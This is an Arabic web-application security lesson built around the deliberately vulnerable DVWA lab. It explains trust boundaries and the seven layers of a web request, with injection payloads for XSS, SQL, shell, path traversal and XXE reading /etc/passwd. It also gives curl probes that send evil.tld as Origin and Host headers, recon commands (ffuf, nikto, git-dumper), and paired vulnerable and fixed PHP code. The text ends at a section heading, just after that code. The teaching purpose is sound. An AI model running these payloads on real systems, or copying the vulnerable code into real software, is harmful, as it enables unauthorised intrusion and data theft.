درس اختراق تطبيقات الويبDVWA Lab · Web App Security
SEC-WEB · LESSON 01

الثغرات في تطبيقات الويب
دليل شامل

من ضغطة الزر في المتصفح إلى استعلام قاعدة البيانات: كيف تسافر الحزمة عبر سبع طبقات، وأين تنكسر في كل طبقة، ثم تطبيق عملي كامل على مختبر DVWA بالأوامر والحمولات والنتائج المتوقعة.

المستوى: مبتدئ → متوسط الزمن المقدّر: 9–12 ساعة المتطلبات: Linux + Docker البيئة: مختبر DVWA محلي
00 · أهداف الدرس

ما الذي ستخرج به من هذا الدرس؟

هذا الدرس ليس قائمة حمولات تُنسخ وتُلصق. الهدف أن تبني نموذجًا ذهنيًا يجعل كل ثغرة جديدة تراها لاحقًا تندرج تلقائيًا في مكانها الصحيح: أي طبقة؟ أي حدود ثقة؟ ما شكل البيانات؟ وما الذي ينكسر حين تعبر هذه البيانات من طبقة إلى أخرى؟

1 · تقرأ المعمارية

ترسم مسار الطلب من المتصفح حتى القرص، وتحدد نقاط عبور البيانات (Trust Boundaries) في أي تطبيق، لا في DVWA فقط.

2 · تصنّف الثغرة

تعرف أن XSS ثغرة طبقة عرض، وSQLi ثغرة طبقة بيانات، وCORS ثغرة سياسة متصفح — وأن التصنيف يحدد طريقة الاختبار والدفاع.

3 · تستغل عمليًا

تنفّذ سلسلة استغلال كاملة على DVWA: من حقن أمر واحد إلى جلسة عكسية، ومن ' OR 1=1 إلى تفريغ جدول المستخدمين.

4 · تُصلح وتوثّق

لكل ثغرة تعرف سببها في الكود، والإصلاح الصحيح (لا الترقيع)، وكيف تُكتب في تقرير يفهمه المطوّر والإدارة.

المتطلبات المسبقة

  • أساسيات HTTP: الطلب والاستجابة، الترويسات، الكوكيز، انعدام الحالة (Stateless).
  • قراءة كود PHP أو JavaScript بمستوى متوسط — لا تحتاج كتابة أنظمة كاملة.
  • سطر أوامر Linux مريح: cd, grep, curl, chmod, ss.
  • جهاز افتراضي أو Docker — كل شيء داخل مختبرك المحلي.
حدود قانونية وأخلاقية — اقرأها مرة واحدة ثم انطلق

كل ما في هذا الدرس يُطبَّق على DVWA، وهو تطبيق صُمّم عمدًا ليكون مثقوبًا ويُثبَّت على جهازك. تطبيق أي خطوة على نظام لا تملكه أو لا تملك تفويضًا كتابيًا باختباره جريمة في معظم الأنظمة القانونية — بغضّ النظر عن نيّة "التوعية".

القاعدة العملية: مختبرك المحلي = حرّية كاملة. هدف خارجي = ورقة تفويض تحدد النطاق والزمن وما هو مسموح (هل يُسمح بـ SQLi؟ بـ DoS؟ لا). هذا ليس تفصيلًا إداريًا؛ هو الفرق بين تقرير أمني وسجل جنائي.

01 · خريطة الدرس

أربعة أجزاء، مسار واحد من النظرية إلى الاستغلال

الدرس مبني على تسلسل واحد لا يُقفز فوقه: نفهم المسار، ثم نحدد موضع الكسر، ثم نستغل، ثم نُصلح ونوثّق. الجزء الثالث (DVWA) هو التطبيق العملي للجزء الثاني، والجزء الرابع هو ما يفصل الهاوي عن المحترف.

الجزء الأول · الإطار الذهني 45 دقيقة

ما الثغرة؟ ما حدود الثقة؟ كيف نرسم مسار الحزمة ونضع كل ثغرة على المخطط قبل أن نلمس أي أداة.

الجزء الثاني · الطبقات السبع 3 ساعات

المتصفح، الشبكة، خادم الويب، التطبيق، قاعدة البيانات، نظام التشغيل، الهوية والعمليات — ثغرات كل طبقة ومنطقها.

الجزء الثالث · مختبر DVWA 5 ساعات

16 ثغرة، كل واحدة بأربعة مستويات (Low / Medium / High / Impossible)، بالأمر والحمولة والنتيجة وسبب النجاح.

الجزء الرابع · الاحتراف 2 ساعة

بطاقة إصلاح لكل ثغرة، منهجية OWASP WSTG، قالب تقرير، وتمارين تُقاس بها مهارتك فعليًا.

كيف تدرس هذا الدرس؟

  1. شغّل المختبر أولًا

    لا تقرأ الجزء الثاني قبل أن يكون DVWA يعمل على localhost:8080. الفهم يأتي من ملاحظة الاستجابة تتغير أمامك.

  2. اقرأ المستوى Low ثم افتح الكود

    DVWA يعرض الكود المصدري لكل مستوى في زر View Source. اقرأ السطر الذي سبب الثغرة قبل أن تطبّق الحمولة.

  3. اصعد المستويات بالترتيب

    كل مستوى يعلّمك دفاعًا واحدًا وكيف يُلتف عليه. عندما تصل إلى Impossible تكون قد رأيت الحل الصحيح.

  4. أعد كتابة السلسلة بيدك

    بعد كل ثغرة اكتب في دفترك: المدخل ← السياق ← الحمولة ← النتيجة ← الإصلاح. هذه البطاقة هي مخرَج التعلم الحقيقي.

02 · قبل أن نبدأ

مفهوم أساسي واحد يفسّر تسعين بالمئة من الثغرات

كل ثغرة في هذا الدرس تقريبًا هي الخطأ نفسه في ثوب مختلف: بيانات قدّمها المستخدم تم تفسيرها — في طبقة ما — كأنها تعليمات. المتصفح يفسّرها كـHTML، قاعدة البيانات كـSQL، والصدفة (Shell) كأمر تنفيذي. حين تنجح في جعل طبقة ما تعتقد أن بياناتك "كود"، فقد اخترقتها.

حدود الثقة (Trust Boundaries)

حد الثقة هو أي خط في المعمارية تنتقل عنده البيانات من منطقة أقل ثقة إلى منطقة أعلى ثقة. في تطبيق ويب نموذجي توجد أربعة حدود على الأقل: من المتصفح إلى الشبكة، من الشبكة إلى خادم التطبيق، من التطبيق إلى قاعدة البيانات، ومن التطبيق إلى نظام التشغيل. كل ثغرة تعيش على أحد هذه الخطوط أو بينها. ومهمة المهاجم أن يجد الخط الذي لا يوجد عليه تحقق، ومهمة المطوّر أن يضع على كل خط تحققًا مناسبًا لسياق الاستخدام التالي — لا أكثر ولا أقل.

الفرق الجوهري: التحقق (Validation) مقابل الترميز (Encoding)

التحقق يجيب: هل هذه القيمة مسموحة أصلًا؟ (بريد إلكتروني، رقم صحيح، امتداد ملف). الترميز يجيب: كيف أُمثّل هذه القيمة في السياق التالي بحيث تبقى بيانات ولا تُفسَّر كتعليمات؟ الأول يمنع القيم السيئة، والثاني يمنع القيم الجيدة من أن تصبح خطيرة عند تغيّر السياق. أكثر الأخطاء شيوعًا هو الاعتماد على التحقق وحده.

جدول السياقات: أين تُكسر البيانات؟

هذا الجدول هو مرجعك طوال الدرس. لكل سياق "حرف هروب" واحد أو أكثر؛ إدخال ذلك الحرف يعني أنك خرجت من خانة البيانات إلى منطقة التعليمات.

السياقالفاصل الذي تكسرهمثال حمولةالطبقة
نص HTML< ><script>alert(1)</script>المتصفح
سمة HTML" ' >" onmouseover="alert(1)المتصفح
URL? & = #?next=//evil.tldالمتصفح / التطبيق
كائن JavaScript" } ;";alert(1)//المتصفح
نص SQL' --' OR '1'='1' -- قاعدة البيانات
رقم SQLمسافة، عوامل1 OR 1=1قاعدة البيانات
صدفة Linux; | & $() `; whoamiنظام التشغيل
مسار ملف../../../etc/passwdنظام التشغيل
JSON / XML" < &<!ENTITY x SYSTEM "file:///etc/passwd">التطبيق
القاعدة التي تحملها معك

قبل أن تكتب أي حمولة، اسأل سؤالين فقط: (1) أين ستُعرض هذه القيمة؟ و(2) ما اللغة التي ستفهمها الطبقة التالية؟ الجواب على السؤال الثاني هو الذي يحدد أي حرف تحتاج أن تُدخل. الحمولات ليست سحرًا — هي حروف هروب في لغات مختلفة.

03 · الخريطة العامة

ثلاثة محاور تحكم الدرس كله

أي حادثة أمنية في تطبيق ويب يمكن وصفها بثلاثة إحداثيات: الطبقة التي حدثت فيها، حدّ الثقة الذي جرى تجاوزه، والسياق اللغوي الذي خُلط فيه بين البيانات والتعليمات. حين تمسك بهذه الإحداثيات الثلاثة، تستطيع تحليل أي ثغرة جديدة — حتى لو لم ترها من قبل — لأنك تعرف أين تنظر وماذا تسأل.

المحور 1 · الطبقة

أين في المعمارية؟ متصفح، شبكة، خادم ويب، تطبيق، قاعدة بيانات، نظام تشغيل، هوية.

المحور 2 · حدود الثقة

أي خط عبَرته البيانات دون تحقق؟ من الثقة المنخفضة إلى الثقة العالية.

المحور 3 · السياق

أي لغة فسّرت المدخل كتعليمات؟ HTML، JavaScript، SQL، Shell، مسار ملف.

الطبقات السبع في سطر واحد لكل طبقة

هذه هي البنية التي سيُبنى عليها المخطط في القسم التالي، وستُستخدم كفهرس مرجعي لكل ثغرة في الدرس.

#الطبقةما تفعلهالثغرة النموذجية فيها
L1المتصفحيعرض HTML، ينفّذ JS، يحفظ الكوكيز، يطبّق سياسة الأصل الواحدXSS · Prototype Pollution · Clickjacking
L2الشبكة والنقلDNS، TLS، بروكسي، CDN، توجيه الحزمMITM · Downgrade · Host Header Injection
L3خادم الويب / الوكيلApache/Nginx، إعادة كتابة، WAF، ملفات ثابتةDirectory Listing · Path Traversal · Misconfig
L4التطبيقالمنطق، المصادقة، الصلاحيات، رفع الملفات، الـAPISQLi · Command Injection · IDOR · CSRF
L5قاعدة البياناتتخزين، استعلامات، مستخدمون وصلاحياتData Exfiltration · Privilege Escalation
L6نظام التشغيل / الحاويةتنفيذ العمليات، الملفات، الشبكة الداخليةRCE · LPE · Reverse Shell
L7الهوية والعملياتالجلسات، الرموز، السجلات، سلسلة التوريدSession Fixation · JWT Flaws · Logging Gaps
لماذا هذا الترتيب تحديدًا؟

لأن الاستغلال في الواقع يتقدّم في هذا الاتجاه: ثغرة في L4 (مثل حقن أمر) تمنحك موطئ قدم في L6، ومن L6 تصعد إلى L5 لتفريغ البيانات، ثم تلمس L7 لتثبيت الوصول وإخفاء الأثر. لهذا صناعة "سلسلة الاستغلال" أهم من حفظ حمولة واحدة.

04 · المخطط

مسار الحزمة عبر الطبقات

تخيّل أنك ضغطت "تسجيل الدخول". في أقل من نصف ثانية تمرّ بياناتك عبر هذه المحطات بالترتيب. عند كل محطة تتحول البيانات إلى شكل جديد — وكل تحوّل هو فرصة لكسر جديد. اضغط على أي طبقة لقراءتها.

L1
المتصفح Client Side

تبدأ الرحلة بـ onclick أو submit؛ يُبنى الطلب من DOM، تُضاف الكوكيز والترويسات، ثم يُشفَّر في URL أو body.

L2
الشبكة والنقل DNS · TLS · TCP

حلّ اسم النطاق، مصافحة TLS، ثم حزم TCP/IP. هنا تُضاف ترويسات Host وX-Forwarded-For.

L3
خادم الويب / الوكيل Nginx · Apache · WAF

يستقبل الطلب، يطبّق قواعد إعادة الكتابة والتوجيه، يفحصه WAF، ثم يسلّمه للتطبيق عبر FastCGI أو Proxy.

L4
التطبيق PHP · Node · Python

يفكّ ترميز المدخلات، يتحقق من الجلسة، يبني الاستعلام، وينفّذ المنطق — هنا تُولد معظم الثغرات التي ندرسها.

L5
قاعدة البيانات MySQL · PostgreSQL

تحلّل نص الاستعلام نحوًا (Parse) ثم تنفّذه. أي محرف لم يُهرَّب يتحول إلى جزء من الاستعلام لا إلى بياناته.

L6
نظام التشغيل / الحاوية Linux · Docker

يقرأ الملفات، ينفّذ العمليات، يفتح الاتصالات. الوصول هنا يعني السيطرة على الخادم لا على التطبيق فقط.

L7
الهوية والعمليات Sessions · Logs · CI/CD

الجلسات والرموز تُصدر وتُتحقق، والسجلات تكتب ما حدث. الطبقة التي تحدد "من أنت" و"ماذا فعلت".

لاحظ اتجاه العودة

المسار نفسه يعود معك: استجابة قاعدة البيانات تُصاغ في التطبيق، تُرسل عبر الخادم، ثم يُعيد المتصفح تفسيرها. XSS تحدث تحديدًا في رحلة العودة — البيانات الخبيثة عادت من الخادم ففسّرها المتصفح ككود. لهذا نقول إن XSS ثغرة "خارجية" (Output) لا "داخلية" (Input) في جوهرها.

05 · موضع الكسر

أين تقع الثغرة على المخطط؟

الخطأ الأول الذي يقع فيه المبتدئ هو ظنّ أن الثغرة "تسكن" في مكان واحد. في الحقيقة لكل ثغرة ثلاثة مواضع: موضع الحقن (Injection Point)، وموضع التنفيذ (Execution Point)، وموضع الأثر (Impact Point). الثغرة تبدأ عند حدّ ثقة، لكنها تُنفَّذ في طبقة أخرى غالبًا.

الثغرةموضع الحقنموضع التنفيذالأثر
XSS (Stored)L4 · حقل يُحفظ كما هوL1 · متصفح الضحيةسرقة جلسة، أفعال باسم الضحية
SQL InjectionL4 · بناء استعلام بالتسلسلL5 · محرّك قاعدة البياناتتفريغ البيانات، تجاوز المصادقة
Command InjectionL4 · تمرير مدخل إلى system()L6 · الصدفةRCE، جلسة عكسية
File InclusionL4 · include($_GET['page'])L6 · نظام الملفاتقراءة ملفات، تنفيذ كود
SSRFL4 · جلب URL من المستخدمL3/L6 · الشبكة الداخليةالوصول إلى خدمات داخلية
Open RedirectL4 · header("Location: $x")L1 · المتصفح يتبعتصيّد، سرقة OAuth code
CSRFL1 · موقع المهاجم يرسل طلبًاL4 · الخادم يثق بالكوكيزتنفيذ فعل باسم الضحية
ClickjackingL1 · iframe شفافL1 · ضغطة الضحيةضغط زر حساس

القاعدة العملية: المهاجم يفكر من النهاية

المختبِر المتمرّس يبدأ من الأثر الذي يريده ثم يرجع للخلف: أريد بيانات المستخدمين ← أحتاج استعلامًا أتحكم فيه (L5) ← أحتاج مدخلًا يصل إلى الاستعلام دون ترميز (L4) ← أبحث عن حقل يُبنى به الاستعلام. هذا التفكير العكسي هو ما يحوّل قائمة ثغرات إلى خطة اختبار. وبالمثل: أريد كودًا ينفّذ في متصفح المدير ← أبحث عن حقل يُعرض للمدير دون ترميز (Stored XSS) ← أفحص لوحة الإدارة ومنطق الموافقة على الطلبات.

مثال يوضّح خطورة الفصل بين المواضع

حقل "الاسم" في DVWA عند مستوى Low لا يُهرَّب عند العرض. نقطة الحقن في L4 (تخزين)، لكن العطب الحقيقي في L1 (إخراج غير مرمّز). لهذا فإن "تنظيف المدخل" عند الحفظ (Input Sanitization) حلّ ناقص: قد يُعرض الاسم لاحقًا في سياق آخر (تقرير PDF، بريد، تطبيق موبايل) يحتاج ترميزًا مختلفًا. القاعدة: رمّز عند الإخراج، لكل سياق على حدة.

06 · المخطط العام

أين تحدث الثغرات في كل طبقة؟

هذا هو المخطط الشامل الذي سنفصّله في الأقسام 07–13. اقرأه كخريطة لا كقائمة حفظ: كل صف هو عائلة ثغرات، وكل عائلة لها سؤال اختبار واحد يميّزها.

الطبقةعائلات الثغراتالسؤال الذي تسأله كمختبِرOWASP
L1 المتصفحXSS (Reflected / Stored / DOM)هل يُعرض مدخلي كما هو في HTML أو JS؟A03
Clickjacking · Tabnabbingهل يمكن تأطير الصفحة؟ هل الروابط الخارجية تحمل rel=noopener؟A05
Prototype Pollution · postMessageهل تُدمج كائنات من JSON المستخدم؟ من يستقبل الرسائل؟A08
L2 الشبكةMITM · TLS Downgrade · HSTSهل الاتصال مشفّر إجباريًا؟ هل الشهادة تُتحقق؟A02
Host Header Injection · Request Smugglingهل يُستخدم Host في بناء روابط؟ هل حدود الطلب متوافقة؟A05
L3 خادم الويبMisconfiguration · Directory Listingهل توجد ملفات .git أو backup أو phpinfo مكشوفة؟A05
Path Traversal · Alias Bypassهل يمكن الخروج من مجلد الجذر بـ ../ أو ترميز؟A01
HTTP Method · TRACE · Default Pagesهل PUT/DELETE مفعّلة؟ هل صفحة افتراضية تُسرّب إصدارًا؟A05
L4 التطبيقInjection (SQL · Command · Template)هل يُبنى أمر أو استعلام بالتسلسل من مدخل؟A03
Broken Access Control · IDORهل يتغير الكائن بتغيير المعرّف؟ هل تُفحص الصلاحية على الخادم؟A01
Authentication · Session · JWTهل يمكن تجاوز الدخول أو تثبيت جلسة أو تزوير رمز؟A07
File Upload · Deserialization · SSRFأين تُحفظ الملفات وهل تُنفَّذ؟ هل تُفكّ كائنات غير موثوقة؟A08
L5 قاعدة البياناتExfiltration · Privilege Escalationما صلاحيات مستخدم التطبيق؟ هل يقرأ information_schema؟A03
L6 نظام التشغيلRCE · LPE · Container Escapeمن أي مستخدم يعمل التطبيق؟ ما الملفات القابلة للكتابة؟A06
L7 الهوية والعملياتSupply Chain · Logging · Secretsهل توجد أسرار في الكود؟ هل السجلات تكشف هجمات؟A09
كيف تستخدم هذا الجدول في اختبار حقيقي؟

لا تبدأ بالتطبيق. ابدأ من الأطراف: افحص L2 وL3 أولًا (شهادة، ترويسات، ملفات مكشوفة، إصدارات) لأنها رخيصة وسريعة، ثم ادخل إلى L4 حيث تكمن 70% من المخاطر، ولا تنسَ L7 لأنها المكان الذي تُكتشف فيه الاختراقات المتقدمة — وتُخفى فيه.

07 · الطبقة الأولى

الطبقة 1 · المتصفح (Browser): حيث تتحول البيانات إلى كود

المتصفح ليس نافذة عرض سلبية؛ إنه نظام تشغيل صغير ينفّذ كودًا بلغات ثلاث (HTML، CSS، JavaScript)، ويملك مخزنًا للأسرار (الكوكيز وlocalStorage)، ويحمل صلاحية التصرف باسم المستخدم في كل موقع. لذلك فكل بيانات تصل إليه من الخادم تُعدّ "كودًا محتملًا" حتى تُثبت العكس.

ماذا يحدث فعلًا عند وصول الصفحة؟

  1. التحليل (Parsing)

    يقرأ HTML ويبني شجرة DOM. أي وسم <script> يقابله يوقف التحليل وينفّذ الكود فورًا — هذه هي نقطة قوة XSS الأولى.

  2. بناء الأنماط

    CSS يُبنى في شجرة أخرى (CSSOM). وسم <style> أو سمة style يمكن أن تُستغل لتسريب بيانات عبر background:url().

  3. تنفيذ JavaScript

    المحرّك (V8/SpiderMonkey) ينفّذ الكود داخل سياق أصل (Origin) محدد. كل ما يملكه الكود هو ما تملكه الصفحة: الكوكيز غير HttpOnly، الـDOM، والطلبات باسم المستخدم.

  4. تطبيق السياسات

    قبل كل طلب: SOP يمنع القراءة عبر الأصول، CORS يحدد الاستثناءات، CSP يقيّد مصادر السكربتات، SameSite يقيّد إرسال الكوكيز.

النموذج الأمني: سياسة الأصل الواحد (SOP)

"الأصل" (Origin) ليس النطاق فقط، بل ثلاثي: scheme + host + port. فـ https://a.com وhttp://a.com أصلان مختلفان، وكذلك a.com:443 وa.com:8443. الخطأ الشائع في الفهم: SOP لا يمنع إرسال الطلب، بل يمنع قراءة الاستجابة. لهذا تنجح هجمات CSRF: الطلب يُرسل، والفعل يحدث، والمهاجم لا يرى الرد — ولا يحتاج أن يراه.

الإجراءمسموح عبر الأصول؟السبب / الاستثناء
قراءة استجابة fetchلايمنعها SOP إلا بترويسة CORS صريحة
إرسال طلب POST مع الكوكيزنعمالنموذج يُرسل؛ الرد غير مقروء — أساس CSRF
تحميل <script src>نعميُنفّذ في سياق الصفحة — أساس JSONP وCSP Bypass
تأطير صفحة <iframe>نعميُمنع بـ X-Frame-Options أو frame-ancestors
قراءة localStorage لموقع آخرلامخزون معزول لكل أصل
قراءة DOM لصفحة أخرىلاإلا بنافذة تحمل نفس الأصل أو postMessage
ثلاثية الكوكي التي يجب أن تحفظها

HttpOnly يمنع JavaScript من قراءتها (يحدّ من أثر XSS في سرقة الجلسة). Secure يمنع إرسالها على HTTP. SameSite=Lax/Strict يمنع إرسالها مع الطلبات العابرة للمواقع (يحدّ من CSRF). غياب الثلاثة معًا هو الوصفة الكاملة لثغرة قابلة للاستغلال بسهولة.

عائلات الثغرات في هذه الطبقة

1) XSS — الحقن في سياق المتصفح

ثلاثة أنواع، والفرق بينها هو مكان تخزين الحمولة: المنعكس (Reflected) يمرّ في الطلب ويعود في نفس الاستجابة؛ المخزّن (Stored) يُحفظ في قاعدة البيانات ليصيب كل من يفتح الصفحة؛ وDOM يبقى داخل المتصفح ولا يلمس الخادم أبدًا لأن المشكلة في كود JavaScript نفسه.

javascript DOM XSS — من المصدر إلى الحوض
// المصدر (Source): يقرأ من العنوان الذي يتحكم به المهاجم
var name = location.hash.slice(1);

// الحوض (Sink): يفسّر النص كـHTML — هنا يولد XSS
document.getElementById("greeting").innerHTML = "مرحبًا " + name;

// البديل الآمن: النص يبقى نصًا
document.getElementById("greeting").textContent = "مرحبًا " + name;

المصادر الشائعة: location.search/hash، document.referrer، localStorage، event.data من postMessage. الأحواض الخطرة: innerHTML، document.write، eval، setTimeout(string)، element.setAttribute('href')، jQuery.html().

السؤال الذي يحدد خطورة XSS ليس "هل ظهرت نافذة تنبيه؟" بل في سياق من ينفّذ السكربت؟ إذا كان الضحية مديرًا، فالسكربت يقرأ كل شيء يراه المدير: قائمة المستخدمين، رموز CSRF، وأحيانًا يحوّل المتصفح إلى محطة تحكم كاملة. لهذا يُعدّ alert(1) مجرد إثبات وجود الثغرة، لا استغلالًا.

سرقة الجلسة

إذا لم تكن الكوكي HttpOnly، فـ document.cookie كافٍ لانتحال الشخصية.

تنفيذ أفعال

السكربت يقرأ رمز CSRF ثم يرسل طلبًا شرعيًا تمامًا — من داخل الصفحة نفسها.

تصيّد مقنّع

حقن نموذج تسجيل دخول داخل الموقع الأصلي؛ الضحية لا يشك في النطاق.

2) Clickjacking — استغلال ثقة المستخدم لا ثقة الخادم

تُوضع الصفحة الحساسة في iframe شفاف فوق زر جذّاب، فيضغط الضحية على "احصل على جائزة" وهو يضغط فعليًا على "حذف الحساب". الحل في الطبقة 1 بحت: X-Frame-Options: DENY أو Content-Security-Policy: frame-ancestors 'none'. وبما أن هذا العطب يُصنّف في OWASP تحت A05 (Misconfiguration)، فهو مثال جيد على ثغرة "سياسة" لا "كود".

3) postMessage غير محكم

عندما يفتح التطبيق نافذة أو إطارًا خارجيًا ويستقبل رسائل بـ window.addEventListener('message', handler) دون التحقق من event.origin، يمكن لأي موقع إرسال أمر إليه. الشكل الصحيح: تحقق من الأصل، وتحقق من شكل البيانات، ولا تستخدم eval(event.data) أبدًا.

4) Prototype Pollution

دمج كائن JSON يحتوي __proto__ أو constructor.prototype في كائن آخر يلوّث كل الكائنات في التطبيق — وقد ينتهي الأمر بتنفيذ كود عبر مكتبات تستدعي خصائص موروثة. المصدر النموذجي: دوال الدمج العشوائي (deep merge) في مكتبات قديمة.

5) إساءة إعداد CORS

ترويسة Access-Control-Allow-Origin: * مع Allow-Credentials: true تفتح البيانات لكل المواقع. والأخطر: السماح بأصل يُشتق من ترويسة Origin كما هي، أو استخدام تعبير نمطي واسع مثل /example\.com/ الذي يقبل example.com.evil.tld. الفحص السريع:

bash فحص سياسات الطبقة 1 من الخارج
$ curl -sI https://target.tld/ | grep -Ei 'content-security-policy|x-frame|strict-transport|set-cookie'
$ curl -sI -H "Origin: https://evil.tld" https://target.tld/api/me | grep -i 'access-control'
$ curl -s -o /dev/null -w "%{http_code}\n" https://target.tld/.git/HEAD

6) منطق يعمل في المتصفح فقط

أي فحص يُنفَّذ في JavaScript فقط هو اقتراح لا حكم: إخفاء حقل، تعطيل زر، التحقق من السعر، تحديد الدور. المستخدم يملك المتصفح، ويستطيع تعديل الحالة قبل الإرسال. في DVWA سنرى هذا حرفيًا في ثغرة "JavaScript Attacks": الرمز يُحسب في الصفحة، وأنت تملك الصفحة.

نقطة تُنسى: الطبقة 1 لا تُختبر بالطلبات فقط

بعض ثغرات هذه الطبقة لا تظهر في curl ولا في سجلات الخادم إطلاقًا — لأنها تحدث بعد وصول الاستجابة. تحتاج متصفحًا لترى DOM يتغير، وسكربتًا لتراقب innerHTML. في DVWA ستلاحظ الفرق عمليًا: ثغرة XSS (DOM) لا تترك أثرًا في الطلب، بعكس Reflected.

الثغرةمدخل المهاجمما ينكسرالدفاع الصحيحفي DVWA
Reflected XSSمعامل URLترميز الإخراج في HTMLترميز حسب السياق + CSPXSS (Reflected)
Stored XSSحقل يُحفظعرض لاحق غير مرمّزترميز عند العرض دائمًاXSS (Stored)
DOM XSShash / searchsource → sink في JStextContent + تعقيم DOMXSS (DOM)
Clickjackingiframeغياب سياسة التأطيرframe-ancestors 'none'غير موجود
CORS Misconfigترويسة Originقائمة أصول مسموحةقائمة صريحة مطابقة تامةغير موجود
Client-side Trustحالة الصفحةالتحقق في المتصفح فقطتحقق على الخادم دائمًاJavaScript Attacks
08 · الطبقة الثانية

الطبقة 2 · الشبكة والنقل: من يقرأ ما تكتبه؟

هذه الطبقة لا تحتوي منطقًا ولا بيانات؛ تحتوي طريقًا. وأي طريق غير محصّن يعني أن كل ما يمرّ فيه — بما في ذلك كوكيز الجلسة وكلمات المرور — قابل للقراءة أو التعديل. الثغرات هنا غالبًا "صامتة": لا تظهر في سجل التطبيق، ولا يشتكي منها المستخدم.

TLS Downgrade / MITM

إن لم يكن Strict-Transport-Security مفعّلًا، فأول طلب عبر HTTP قابل للاختطاف وإعادة التوجيه إلى نسخة مزيفة من الموقع.

Host Header Injection

إذا بُني رابط إعادة تعيين كلمة المرور من ترويسة Host دون تحقق، يمكن توجيه الرابط إلى نطاق المهاجم وسرقة الرمز.

Trusting X-Forwarded-For

الاعتماد على ترويسة يتحكم بها العميل في تحديد الـIP يفتح تجاوز قيود المعدل وتزوير السجلات.

Request Smuggling

اختلاف تفسير Content-Length وTransfer-Encoding بين الوكيل والخادم يسمح بتهريب طلب داخل طلب.

bash فحص سريع للطبقة 2
# 1) شهادة TLS وتواريخها
$ openssl s_client -connect target.tld:443 -servername target.tld </dev/null 2>/dev/null | openssl x509 -noout -dates -subject

# 2) إصدارات وأُطر تشفير ضعيفة
$ nmap -p443 --script ssl-enum-ciphers target.tld

# 3) هل يوجد HSTS أصلاً؟
$ curl -sI http://target.tld | grep -i strict-transport-security

# 4) هل يقبل الخادم ترويسة Host غريبة؟
$ curl -s -H "Host: evil.tld" http://target.tld/reset | grep -o 'https\?://[^"]*' | head
الدرس العملي

لا يمكن حماية تطبيق من طبقة أعلى إذا كانت الطبقة التي تحته مكشوفة: تشفير كلمات المرور بـ bcrypt لا ينفع إن كانت تُرسل عبر HTTP. هذا هو معنى "الدفاع في العمق" — كل طبقة تفترض أن الطبقة التي فوقها قد تُخترق.

09 · الطبقة الثالثة

الطبقة 3 · خادم الويب والوكيل: الأبواب التي نسيها أحد

معظم عمليات "الاختراق السريعة" لا تخترق كودًا؛ تستغل إعدادًا. ملف .git مكشوف يعني استرجاع الكود المصدري بالكامل — أي خريطة للثغرات. ملف نسخة احتياطية باسم backup.zip يعني قاعدة بيانات. صفحة phpinfo() تعني إصدارات، مسارات، ومتغيرات بيئة قد تحتوي مفاتيح.

ما تبحث عنه في هذه الطبقة

الهدفكيف يظهرالأثر
تعداد المسارات/admin, /backup, /.env, /server-statusواجهات إدارية، أسرار، إحصاءات داخلية
كشف الكود/.git/HEAD، /.svn، .DS_Storeاسترجاع المشروع كاملًا وتحليله
ملفات احتياطيةindex.php.bak, db.sql, app.zipبيانات وكلمات مرور
إعدادات خاطئةDirectory Listing، OPTIONS يظهر PUT/DELETEرفع/حذف ملفات دون تطبيق
اجتياز المسار/static/../../etc/passwdقراءة ملفات النظام
إصدارات قديمةترويسة Server / X-Powered-Byثغرات معروفة (CVE) جاهزة
bash تعداد الطبقة 3 — من الأسرع إلى الأدق
# بصمة سريعة + ترويسات
$ whatweb -a 3 http://localhost:8080
$ curl -sI http://localhost:8080/ | head -20

# تعداد مسارات بالقوائم الشائعة
$ ffuf -u http://localhost:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,403 -fs 0

# فحص إعدادات معروفة الخطأ
$ nikto -h http://localhost:8080 -C all

# هل الكود المصدري مكشوف عبر git؟
$ git-dumper http://localhost:8080/.git/ ./loot-git
DVWA نفسه مثال على الطبقة 3

تطبيق DVWA يعمل داخل حاوية Apache/PHP. لو تركته مفتوحًا على الإنترنت (لا تفعل) فستكون ثغراته في L4 هي مدخلك، لكن طريقة تعاملك معه كخادم — إصدار PHP، ملفات /hackable/uploads القابلة للتنفيذ، صلاحيات www-data — هي ما يحدد إن كانت ثغرة رفع ملف ستنتهي بقراءة ملفات فقط أم بجلسة عكسية كاملة.

10 · الطبقة الرابعة

الطبقة 4 · التطبيق: حيث تُولد معظم الثغرات

هنا يتقابل المستخدم مع البيانات الحقيقية: منطق الأعمال، المصادقة، الصلاحيات، رفع الملفات، والـAPI. الطبقات السابقة يمكن تأمينها بإعداد واحد، أما هذه الطبقة فتُؤمَّن سطرًا بسطر — ولهذا تحتوي أغلب الثغرات التي ستستغلها في مختبر DVWA.

العائلات الثماني الكبرى

العائلةالجوهرمثال على السطر القاتلمختبر DVWA
Injectionمدخل يُلصق في أمر/استعلام"SELECT * FROM t WHERE id=$id"SQLi · Command
Broken Access Controlفحص الصلاحية مفقود أو في المتصفحif($_GET['id']) show()CSRF · API
Authenticationمصادقة قابلة للتخمين أو التجاوزif($pass == $row['pass'])Brute Force · Auth Bypass
Session Managementجلسة قابلة للتوقع أو التثبيت$_COOKIE['sid']++Weak Session IDs
File Uploadملف يُحفظ في مكان قابل للتنفيذmove_uploaded_file($f,$dir)File Upload
Path Traversal / Inclusionمسار ملف يتحكم به المستخدمinclude($_GET['page'])File Inclusion
CSRFطلب عابر للمواقع يحمل الكوكي<form> تلقائي الإرسالCSRF
Deserialization · SSRFبيانات تُحوَّل إلى كائن/طلب داخليunserialize($_COOKIE['u'])خارج نطاق DVWA

كيف يبدو الفرق بين الكود المثقوب والكود الآمن؟

php نفس الوظيفة — تنفيذَان مختلفان
// ── مثقوب: التسلسل النصي يخلق تعليمات جديدة ──
$id  = $_GET['id'];
$sql = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

// ── آمن: البيانات تُرسل منفصلة عن نص الاستعلام ──
$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->execute([$id]);

// ── مثقوب: مدخل المستخدم يدخل الصدفة ──
system("ping -c 1 " . $_GET['ip']);

// ── آمن: قائمة بيضاء + تهريب صريح ──
if (!filter_var($ip, FILTER_VALIDATE_IP)) die("bad input");
system("ping -c 1 " . escapeshellarg($ip));

// ── مثقوب: المسار يتحكم به المستخدم ──
include($_GET['page'] . '.php');

// ── آمن: قائمة بيضاء صريحة ──
$pages = ['home', 'about', 'contact'];
$p = in_array($_GET['page'], $pages, true) ? $_GET['page'] : 'home';
include __DIR__ . "/pages/$p.php";
المبدأ الواحد وراء الأسطر الآمنة

